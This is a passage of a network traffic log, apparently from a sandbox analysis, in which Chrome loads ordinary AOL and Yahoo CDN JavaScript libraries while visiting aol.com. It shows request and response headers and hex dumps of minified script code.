+"target"),N=e.getAttribute(v+"timeout"),F=e.getAttribute(v+"type")\|\|"default",M=e.getAttribute(v+"use-page-rid"),R=(e.getAttribute(v+"fetch-trigger-offset")\|\|e.getAttribute(v+"trigger-offset")\|\|"").split(" "),W=c(R,2),B=W[0],D=W[1],q=e.getAttribute(v+"re
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 65 64 65 6e 74 69 61 6c 73 3a 67 2c 64 65 6c 61 79 3a 6e 75 6c 6c 3d 3d 3d 48 7c 7c 76 6f 69 64 20 30 3d 3d 3d 48 3f 31 65 34 3a 4e 75 6d 62 65 72 28 48 29 2c 64 65 70 65 6e 64 65 6e 63 79 45 6c 65 6d 3a 4c 2c 64 65 73 74 72 6f 79 54 61 72 67 65 74 4f 6e 46 61 69 6c 75 72 65 3a 6e 75 6c 6c 3d 3d 3d 4f 7c 7c 76 6f 69 64 20 30 3d 3d 3d 4f 3f 31 3a 4e 75 6d 62 65 72 28 4f 29 2c 69 6d 70 6f 72 74 61 6e 63 65 3a 49 2c 74 69 6d 65 6f 75 74 3a 6e 75 6c 6c 3d 3d 3d 4e 7c 7c 76 6f 69 64 20 30 3d 3d 3d 4e 3f 36 65 33 3a 4e 75 6d 62 65 72 28 4e 29 2c 65 6c 65 6d 3a 65 2c 65 72 72 6f 72 43 6c 61 73 73 3a 6e 2c 69 73 50 6f 73 74 57 69 74 68 53 74 61 74 65 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 76 2b 22 5b 62 6f 64 79 5d 22 29 7c 7c 65 2e 67 65 74 41 74 74 72 Data Ascii: edentials:g,delay:null===H\|\|void 0===H?1e4:Number(H),dependencyElem:L,destroyTargetOnFailure:null===O\|\|void 0===O?1:Number(O),importance:I,timeout:null===N\|\|void 0===N?6e3:Number(N),elem:e,errorClass:n,isPostWithState:e.getAttribute(v+"[body]")\|\|e.getAttr
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 65 72 2d 66 65 74 63 68 22 21 3d 3d 74 2e 73 65 6c 65 63 74 6f 72 29 26 26 28 69 3d 65 2c 21 30 29 7d 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 28 29 3b 76 61 72 20 61 3d 69 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2e 67 65 74 28 72 29 7c 7c 7b 7d 2c 6f 3d 61 2e 69 6e 73 74 61 6e 63 65 3b 69 66 28 21 6f 29 72 65 74 75 72 6e 20 6e 28 29 3b 76 61 72 20 73 3d 6f 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3b 69 66 28 73 29 72 65 74 75 72 6e 20 6e 28 29 3b 74 3c 35 26 26 30 3d 3d 3d 73 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 66 65 74 63 68 44 65 70 65 6e 64 65 6e 63 79 28 74 2b 2b 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 29 7d 29 7d 2c 31 30 30 2a 28 74 2b 31 29 29 2c 73 7c 7c Data Ascii: er-fetch"!==t.selector)&&(i=e,!0)}),!i)return n();var a=i._state.elementInstances.get(r)\|\|{},o=a.instance;if(!o)return n();var s=o._state.status;if(s)return n();t<5&&0===s&&setTimeout(function(){e.fetchDependency(t++).then(function(){n()})},100*(t+1)),s\|\|
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 74 61 74 75 73 29 7b 76 61 72 20 50 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 2c 49 3d 7b 7d 3b 72 65 74 75 72 6e 20 75 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 4c 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 61 72 67 65 74 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 79 26 26 79 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 62 6f 75 6e 64 61 72 79 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 50 26 26 28 49 2e 72 65 74 72 69 65 73 3d 50 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 30 2c 74 68 69 73 2e 66 65 74 63 68 44 65 70 65 6e 64 65 6e 63 Data Ascii: tatus){var P=this._state.retries,I={};return u.classList.add("wafer-fetch-trigger-inprogress"),L.classList.add("wafer-fetch-target-inprogress"),y&&y.classList.add("wafer-fetch-boundary-inprogress"),P&&(I.retries=P),this._state.status=0,this.fetchDependenc
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 6b 22 3d 3d 3d 45 7c 7c 76 7d 29 3b 76 61 72 20 6a 3d 76 6f 69 64 20 30 2c 50 3d 76 6f 69 64 20 30 2c 49 3d 74 2e 68 74 6d 6c 2c 78 3d 76 6f 69 64 20 30 3d 3d 3d 49 3f 74 2e 6d 61 72 6b 75 70 3a 49 3b 69 66 28 70 29 7b 76 61 72 20 4e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 4e 2e 69 6e 6e 65 72 48 54 4d 4c 3d 78 3b 76 61 72 20 46 3d 4e 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 70 29 3b 78 3d 46 26 26 46 2e 69 6e 6e 65 72 48 54 4d 4c 7c 7c 78 7d 69 66 28 76 29 7b 76 61 72 20 4d 3d 4c 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 52 3d 4c 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 4c 2e 69 6e 73 65 72 74 41 64 6a 61 63 65 6e 74 48 54 4d 4c 28 22 62 65 66 6f 72 65 62 65 67 69 6e 22 2c Data Ascii: k"===E\|\|v});var j=void 0,P=void 0,I=t.html,x=void 0===I?t.markup:I;if(p){var N=document.createElement("div");N.innerHTML=x;var F=N.querySelector(p);x=F&&F.innerHTML\|\|x}if(v){var M=L.parentNode,R=L.previousElementSibling;L.insertAdjacentHTML("beforebegin",
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 74 72 79 43 6f 75 6e 74 2c 6c 3d 2b 2b 65 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 3b 72 65 74 75 72 6e 20 64 2e 65 6d 69 74 45 72 72 6f 72 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 46 65 74 63 68 22 2c 65 6c 65 6d 3a 75 2c 6d 65 74 61 3a 7b 6d 65 73 73 61 67 65 3a 6e 2c 72 65 74 72 79 43 6f 75 6e 74 3a 6c 2c 74 61 72 67 65 74 45 6c 65 6d 3a 4c 2c 75 72 6c 3a 53 7d 2c 73 74 61 63 6b 3a 74 2e 73 74 61 63 6b 7c 7c 74 2e 6d 65 73 73 61 67 65 7d 29 2c 75 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 79 26 26 28 79 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 62 6f 75 6e 64 61 72 79 2d 69 6e 70 72 6f 67 Data Ascii: tryCount,l=++e._state.retries;return d.emitError({name:"WaferFetch",elem:u,meta:{message:n,retryCount:l,targetElem:L,url:S},stack:t.stack\|\|t.message}),u.classList.remove("wafer-fetch-trigger-inprogress"),y&&(y.classList.remove("wafer-fetch-boundary-inprog
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 75 6e 64 61 72 79 28 29 29 2c 22 73 74 61 74 65 43 68 61 6e 67 65 22 3d 3d 3d 61 29 7b 69 26 26 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 3d 30 29 3b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 72 65 74 72 79 43 6f 75 6e 74 3b 69 66 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 3d 3d 3d 6f 29 72 65 74 75 72 6e 3b 76 61 72 20 73 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 64 65 6c 61 79 3b 72 65 74 75 72 6e 20 76 6f 69 64 28 73 3f 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 66 65 74 63 68 28 29 7d 2c 73 2c 74 68 69 73 29 3a 74 68 69 73 2e 66 65 74 63 68 28 29 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 Data Ascii: undary()),"stateChange"===a){i&&(this._state.retries=0);var o=this._util.retryCount;if(this._state.retries===o)return;var s=this._util.delay;return void(s?setTimeout(function(){e.fetch()},s,this):this.fetch())}}},{key:"destroy",value:function(){var e=this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49785	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	578	OUT	GET /caas-assets-production/assets/v1/video_player_wafer.87b49b05fdd1e271.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	635	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167532 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:39 GMT Etag: "87b49b05fdd1e271396e7926782a1999" Last-Modified: Tue, 19 Mar 2024 11:06:00 GMT Server: ECAcc (lhd/35A0) Vary: Accept-Encoding x-amz-id-2: TarXGGEbEwcyMBAVaH1gilJwzicNCR0yqnpM2pLpyqWNSFA3o05PRJBIqHBkKwjxvDYUDd8wugw= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAHKJDJVWNA2MZQ x-amz-server-side-encryption: AES256 x-amz-version-id: hxP.isGFv5j0rhPqbBR8gLLuhcugNxmy X-Cache: HIT Content-Length: 5578 Connection: close
2024-05-23 22:34:39 UTC	5578	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49782	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	570	OUT	GET /caas-assets-production/assets/v1/dispatcher.37c5e1a2f6118a29.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	1011	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167532 Cache-Control: max-age=365000000, immutable Content-Type: application/javascript; charset=utf-8 Date: Thu, 23 May 2024 22:34:39 GMT Etag: "37c5e1a2f6118a291c63026b77e2338f" Last-Modified: Tue, 19 Mar 2024 11:05:53 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/3592) Vary: Accept-Encoding x-amz-id-2: IqoXko9q+2AkUCIclQKkwWWpromqfWcnpcJWsKBN6lqe6xPnPy/dziZBWnek4nQ6EQtxss3fXcQ= x-amz-replication-status: COMPLETED x-amz-request-id: 1TAZA9XMTA1S7G9V x-amz-server-side-encryption: AES256 x-amz-version-id: iv6rosnW8NN6Zz8yDoi4EZNWV1shRfOS X-Cache: HIT Content-Length: 4032 Connection: close
2024-05-23 22:34:39 UTC	4032	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 43 41 41 53 5f 41 4f 4c 43 4f 4d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 3a 65 2e 43 41 41 53 5f 41 4f 4c 43 4f 4d 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("CAAS_AOLCOM",[],t):"object"==typeof exports?exports.CAAS_AOLCOM=t():e.CAAS_AOLCOM=t()}(self,(function(){return function(){"us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49789	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:38 UTC	528	OUT	GET /aaq/wf/wf-bind-1.1.3.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:39 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: 11VK0q2tM370BFaUVIxKASGnaJbgGkAzZPuVIbEJJu9Z98yIa50UY3jNl0ZfdNfUWxa0WrZ0Jm0= x-amz-request-id: GHSQJHR4NSGYKS4V Date: Mon, 22 Apr 2024 09:52:11 GMT Last-Modified: Tue, 11 Jan 2022 10:14:03 GMT ETag: "4fb1358c9d3cc812325612307c785b9b" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 9KeCoaeonKvzetim7_sq8D5.FiF8Jo57 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 4174 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 2724150 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 69 6e 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 69 6e 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-bind",[],t):"object"==typeof exports?exports["wafer-bind"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 Data Ascii: pe=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}Object.defineProperty(t,"__esModule",{value:!0});var a=Object.assign\|\|function(e){for(va
2024-05-23 22:34:39 UTC	1300	IN	Data Raw: 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 74 3d 65 2e 73 74 61 74 65 41 74 74 72 3b 74 68 69 73 2e 75 70 64 61 74 65 41 74 74 72 69 62 75 74 65 28 74 29 7d 7d 5d 29 2c 74 7d 28 69 29 3b 74 2e 64 65 66 61 75 6c 74 3d 73 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 7d 2c 22 2e 2f 73 72 63 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 72 65 74 75 72 6e 20 69 3d 6f 28 72 28 22 2e 2f 73 72 63 2f 62 61 73 65 2e 6a 73 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 Data Ascii: 0&&void 0!==arguments[0]?arguments[0]:{},t=e.stateAttr;this.updateAttribute(t)}}]),t}(i);t.default=s,e.exports=t.default},"./src/controller.js":function(e,t,r){"use strict";function n(){return i=o(r("./src/base.js"))}function o(e){return e&&e.__esModule?e
2024-05-23 22:34:39 UTC	274	IN	Data Raw: 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 65 3a 7b 64 65 66 61 75 6c 74 3a 65 7d 7d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 6f 3b 74 2e 64 65 66 61 75 6c 74 3d 6e 65 77 28 28 6f 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 3d 6e 28 72 28 22 2e 2f 73 72 63 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2e 6a 73 22 29 29 7d 28 29 29 2e 64 65 66 61 75 6c 74 29 28 7b 73 65 6c 65 63 74 6f 72 3a 22 2e 77 61 66 65 72 2d 62 69 6e 64 22 7d 29 2c 65 2e 65 78 70 6f Data Ascii: ntry.js":function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}Object.defineProperty(t,"__esModule",{value:!0});var o;t.default=new((o\|\|function(){return o=n(r("./src/controller.js"))}()).default)({selector:".wafer-bind"}),e.expo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49790	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:39 UTC	521	OUT	GET /ss/analytics3.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:40 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: FQcUw3kw/D5GurfBYzVP5vcsZV3kdAYFDKUiIENZeNfDOxDn9Zu54YBco6/RLLzdC8gaaa0s0vg= x-amz-request-id: 842C15D55RTX49C7 Date: Thu, 23 May 2024 22:25:22 GMT Last-Modified: Tue, 21 May 2024 16:48:31 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=600 x-amz-version-id: aKmZ_5dG20_tZEjv1_bK1.DM3CQXa8ji Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 96991 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "98fa8942355d8bb19166863781b10d58" Age: 559 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 76 61 72 20 71 63 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3b 76 61 72 20 62 69 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 78 63 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 76 61 72 20 49 63 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 4e 61 6d 65 73 3b 76 61 72 20 41 63 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 52 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 3b 76 61 72 20 70 3d 28 65 2c 72 29 3d 3e 28 29 3d 3e 28 72 7c 7c 65 28 28 72 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 29 2e 65 78 70 6f 72 74 73 2c 72 29 2c 72 2e 65 78 70 6f 72 74 73 29 3b 76 61 72 20 6b 63 Data Ascii: var qc=Object.create;var bi=Object.defineProperty;var xc=Object.getOwnPropertyDescriptor;var Ic=Object.getOwnPropertyNames;var Ac=Object.getPrototypeOf,Rc=Object.prototype.hasOwnProperty;var p=(e,r)=>()=>(r\|\|e((r={exports:{}}).exports,r),r.exports);var kc
2024-05-23 22:34:40 UTC	1300	IN	Data Raw: 72 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6c 6c 3b 4f 69 2e 65 78 70 6f 72 74 73 3d 4c 63 3f 55 72 2e 62 69 6e 64 28 55 72 29 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 72 2e 61 70 70 6c 79 28 55 72 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 3b 76 61 72 20 49 69 3d 70 28 78 69 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 54 69 3d 7b 7d 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 71 69 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 2c 4d 63 3d 71 69 26 26 21 54 69 2e 63 61 6c 6c 28 7b 31 3a 32 7d 2c 31 29 3b 78 69 2e 66 3d 4d 63 3f 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6e 3d 71 69 28 74 68 69 73 2c 72 29 3b 72 65 74 75 Data Ascii: r=Function.prototype.call;Oi.exports=Lc?Ur.bind(Ur):function(){return Ur.apply(Ur,arguments)}});var Ii=p(xi=>{"use strict";var Ti={}.propertyIsEnumerable,qi=Object.getOwnPropertyDescriptor,Mc=qi&&!Ti.call({1:2},1);xi.f=Mc?function(r){var n=qi(this,r);retu
